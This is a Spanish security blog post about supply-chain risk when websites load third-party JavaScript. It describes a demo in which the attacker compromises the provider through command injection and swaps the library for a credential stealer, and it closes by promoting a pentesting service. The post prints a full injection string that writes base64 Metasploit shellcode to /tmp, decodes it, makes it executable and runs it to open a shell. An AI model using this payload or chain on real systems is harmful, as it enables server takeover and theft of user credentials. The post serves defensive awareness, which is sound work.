Owned: Tu web es segura pero la de tu proveedor no

En los sitios webs de hoy en día, incluso en los de las empresas, es muy común que muchos desarrolladores utilicen librerías en JavaScript de distintos proveedores. En muchas ocasiones, estas librerías son cargadas directamente desde el servidor del proveedor y enlazadas directamente desde el sitio web del proveedor de dicha librería, por error, o porque el beneficio obtenido al incluir ese fichero se ofrece de esa forma - como en el caso de los contadores de estadísticas o los proveedores de publicidad -. En estos casos, si los visitantes de nuestra web les estamos incitando a descargarse un fichero de ejecución de código de sitios web de terceros cuyo código no está controlado por nosotros.

Figura 1: Owned: Tu web es segura pero la de tu proveedor no

Esto abre una buena cantidad de riegos de seguridad con la de carga de contenido externo de los que ya se ha hablado. ¿Qué queremos decir con esto? Es sencillo, si el dueño del fichero JavaScript decide cambiar el código a ejecutar o sufre un ataque, nosotros no tendremos constancia de ello y podemos estar ofreciendo a nuestros usuarios un programa malicioso.

Figura 2: El ataque de los SEA a la web de la RSA Conference

¿Esto es una vulnerabilidad? Realmente no, pero sí es un riesgo que puede debilitar el sistema ya que se ha extendido la superficie de exposición de nuestro entorno a los servidores web del proveedor por dónde pueden provenir nuevos ataques, tal y cómo ya demostraron los SEA, Syrian Electronic Army, en el ataque a la RSA.

Un escenario de ataque con una librería JavaScript comprometida

Este es un ejemplo de demo que es presentado en una de las  sesiones de los HackMeets que Telefónica está llevando por el territorio nacional. Este es el escenario de demostración:

1. La empresa A, la cual ofrece un servicio y en su código fuente de la página de login podemos encontrar un fichero JavaScript cargado de un dominio externo. La función de este archivo JS es personalizar ciertas partes del login y ponerlo “bonito”. 

2. Los usuarios cuando acceden al login de la empresa A también hacen una petición al dominio del proveedor del fichero JavaScript para descargarlo y ejecutarlo en el ámbito del sitio web de la empresa A. 

3. Un atacante verifica que tendrá complicado conseguir acceso al entorno de la empresa A debido que están concienciados y tienen fortificado el perímetro. El atacante descubre que los ficheros JS son cargados desde el exterior, por lo que si quiere hacer cierto daño a la organización podría intentar “colar” su código JavaScript de alguna forma. 

4. En este caso, tras evaluar al proveedor del JavaScript el atacante descubre una vulnerabilidad en uno de los servidores. En este caso es una inyección de comandos, pero otra opción válida, y que fue utilizada por la SEA en su ataque a la RSA Conference, es la realización de una campaña de phishing dirigida contra empleados de la empresa proveedora en este caso. 

5. Una vez que se tiene acceso al equipo del proveedor se puede modificar el archivo JavaScript. Tenemos que tener en cuenta que en algunas ocasiones puede ser un desarrollador malicioso el que incluya código ofuscado en su librería y que obtenga datos de más. Dicho esto, y una vez modificado el archivo JavaScript, cuando los usuarios accedan al dominio cargarán una librería JavaScript modificada.

El fichero JavaScript modificado captura las credenciales que los usuarios introducen en el login y son reenviadas a un servidor malicioso dónde posteriormente pueden caer publicadas en fuentes como Pastebin o ser utilizadas para realizar ataques a la organización si no se han activado sistemas de segundo factor de autenticación. Para que nadie sospeche las credenciales también se lanzan contra el servidor de la empresa A, para que nadie sospeche.


Figura 3: Esquema de ataque a una web con contenido externo
Cómo puede verse el daño a la imagen y a la reputación de la empresa es grande y además todos los usuarios de esta empresa son potenciales víctimas de este ataque. Puede haber algunos usuarios que tomasen medidas contra la carga de ficheros JavaScript, pero por línea general la inmensa mayoría de los usuarios caerían. Este tipo de brecha podría durar un tiempo grande, y en función del volumen de usuarios que pasan por el login de la empresa A el incidente sería grave o muy grave.

Una demo de hacking con un login que carga de librerías remotas

Suponiendo que este es fuera la página login de la empresa A y que en su código fuente existiera la carga remota de una librería JavaScript estamos ante un riesgo, ya que si es modificado puede comprometer la seguridad de sus usuarios y robar las credenciales, algo que hemos visto explotado estos días con la infección de muchos servidores WordPress para forzarles a cargar remotamente librerías JavaScript desde servidores maliciosos.

Figura 4: Login de un supuesto sitio web que carga contenido externo

Ahora, evaluando la seguridad del proveedor de servicios, en este caso el proveedor del fichero JavaScript, se observa que hay ciertas vulnerabilidades. Una de estas vulnerabilidades es bastante grave, con un impacto crítico, la cual permite ejecutar comandos en el servidor remoto.

Figura 5: Este login carga una librería JavaScript desde un servidor remoto

Este Command Injection será la vía que puede utilizar un atacante para cambiar el código del fichero JavaScript original del proveedor. En el servidor del proveedor se encuentra una aplicación web con un parámetro vulnerable a ejecución de comandos. En la imagen se puede ver una de las formas de explotar la vulnerabilidad.

Figura 6: El servidor web del proveedor de la libería JavaScript remota tiene Command Injection

Aprovechando de un módulo realizado para Metasploit que nos genera una shellcode encodeada y en base64, podemos utilizarla para subirla al servidor. La serie de acciones sería la siguiente:

1. Subir al servidor la shellcode en base64.
2. Transformarla en binario decodificándola.
3. Dar permisos de ejecución al fichero resultante.
4. Ejecutar.

Figura 7: Subiendo una shell al proveedor de la librería JavaScript

Una vez que se obtiene la shelcode, como se puede ver en la imagen, la subimos a través del parámetro vulnerable. La inyección sería:

“;echo f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAi2AAAAGAEAAAcAAAAAEAAA28G9H6q9Bdl0JPRfM8mxEoPv/DFvFgNvFuLqm2by94/brp0tbDbo00E3fUgy+ClXp5ArqDY9oklS2%2BzZ8nSFO7e3FQk/8RV+QAGcnYHqkqDh4RpfK3kBKVLjAyUlF6a2uvk= > /tmp/pay.txt;cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay”

En esta inyección se puede ver las 4 instrucciones separadas por el símbolo ‘;’. Esto devuelve el control al atacante del servidor del proveedor de la librería JavaScript, ahora con una shell, o mejor un Meterpreter, abierto se puede modificar el fichero JavaScript. Cambiando el original por el malicioso, todos los usuarios que accedan al login de la empresa A verán como su usuario y contraseña son secuestrados. Los datos son recogidos por un atacante en una base de datos.

Figura 8: Datos robados con la librería JavaScript maliciosa

Es importante concienciar al equipo de ingeniería y desarrollo para que todos los activos externos a la organización sean controlados por los miembros de seguridad ya que sin necesidad de haber tocado el servidor objetivo se han podido robar los datos de los usuarios. Es importante tener control estratégico sobre los contratos y relaciones que la organización tiene con entidades y proveedores externos. Es por eso que nuestro sistema de Pentesting Persistente Faast evalúa y monitoriza este tipo de carga de contenidos externos en busca de controlar con qué elementos remotos se relacionan tu organización y cómo podría ser atacada tu organización.

Autor: Pablo González Pérez (@pablogonzalezpe), Project Manager en Eleven Paths
Escritor de los libros "Metasploit para Pentesters" y "Ethical Hacking"